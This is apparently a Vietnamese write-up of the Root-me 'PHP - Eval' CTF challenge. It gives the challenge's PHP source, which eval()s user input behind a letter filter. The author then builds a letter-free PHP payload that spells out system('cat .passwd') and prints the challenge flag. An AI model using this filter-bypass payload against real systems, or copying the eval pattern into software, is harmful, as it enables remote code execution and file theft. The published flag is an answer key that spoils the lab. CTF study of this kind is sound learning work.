(Write-up) Root-me: PHP - Eval

(Write-up) Root-me: PHP - Eval

🤔Overview

Hôm nay là 24/9/2023, còn khoảng một tháng nữa là đến với SVATTT đầu tiên của mình, mình đang tìm và vọc vạch CTF ở trên các trang. Vô tình, mình bắt gặp bài này và thấy khá hay nên mình sẽ viết writeup để sau này cần sẽ có nơi mà đọc lại. Bài này làm tốn rất nhiều thời gian của mình.
Yêu cầu của bài là: Tìm lỗ hỗng và khai thác để đọc được nội dung của file .passwd
Với bài này, đề bài đã cho sẵn source code như sau:
 
<html> <head> </head> <body> <h4> PHP Calc </h4> <form action='index.php' method='post'> <input type='text' id='input' name='input' /> <input type='submit' /> <?php if (isset($_POST['input'])) { if(!preg_match('/[a-zA-Z`]/', $_POST['input'])){ print '<fieldset><legend>Result</legend>'; eval('print '.$_POST['input'].";"); print '</fieldset>'; } else echo "<p>Dangerous code detected</p>"; } ?> </form> </body> </html>
Challenge gốc ở đây:

💻Problem

Qua source code đã được cung cấp thì có vẻ như nhiệm vụ của mình là tìm cách chèn mã vào input để và khiến nó được thực thi bởi hàm eval().
Tuy nhiên, vấn đề gặp phải ở đây là dữ liệu nhập vào không được chứa ký tự alphabet (in thường và in hoa) và ký tự `. Vậy là không thể bypass bài này bằng các cách bình thường.
Sau một thời gian research trên google, mình tìm được bài viết này: https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/?expand_article=1
Bài viết này nói về cách bypass được các waf mà không cần dùng đến các ký tự số và alphabet ⇒ Đúng với thứ chúng ta đang cần.
Trước khi đọc payload tiếp theo, bạn nên đọc và nghiên cứu kỹ bài viết trên để hiểu cách nó hoạt động ra sao. Nói sơ qua về cách payload hoạt động: Chúng ta sẽ tận dụng việc lấy được các chuỗi được in ra trong PHP, sau đó áp dụng một số cách để lấy được một ký tự đơn (Minh sẽ tạm gọi là C) trong chuỗi đó. ⇒ Tiếp tục từ C tăng giá trị của nó lên bằng toán tử ++, khi đạt được đến giá trị mà mình mong muốn thì lưu vào một biến nhớ khác ⇒ Lặp lại quá trình này đến khi đạt được payload mà mình mong muốn (Ví dụ như “echo ‘Hello world’;”).
Vậy là mình đã nắm sơ được cách bypass bài này, còn bây giờ thì bắt tay vào việc thôi 🤗

🚩Let’s go

Nghiền ngẫm bài viết trên, mình đã hiểu được cách nó hoạt động và đã viết được đoạn payload như sau (Ở đây mình sẽ không sử dụng number luôn để hard hơn 😊 - @@):
<?php // system $_=[]; // Array $_=@"$_"; $_=$_['!'=='!']; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___=$__['!'=='@']; $__=$_; $____ = ++$__; $__++;$__++;$__++;$__++;$__++;$__++; $____.=$__; $____.=$____['!'=='@']; $__=$_; $__++;$__++; $____.=$__; $__=$___; $__++;$__++;$__++;$__++; $____.=$__; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $____.=$__; $__=$___; $__++;$__++; // cat .passwd $_____=$__; $_____.=$___; $__=$_; $__++;$__++; $_____.=$__; $_____.=" "; $_____.="."; $__=$___; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $_____.=$__; $_____.=$___; $__=$_; $__++; $_____.=$__; $_____.=$__; $__++;$__++;$__++;$__++; $_____.=$__; $__=$___; $__++;$__++;$__++; $_____.=$__; $____($_____); // system(cat .passwd)
Tiếp theo, chỉ cần copy - paste payload trên và Submit và mình đã bypass được chall này:
notion image
Sau bài này, mình học thêm được một kiến thức mới rất hay về PHP, có thể sau này chính những kiến thức này sẽ giúp đỡ rất nhiều cho mình. Nếu bạn có thể, hãy đọc và nghiên cứu và phát triển thêm các payload. 🕵🏻‍♂️
Key: M!xIng_PHP_w1th_3v4l_L0L
 

Loading Comments...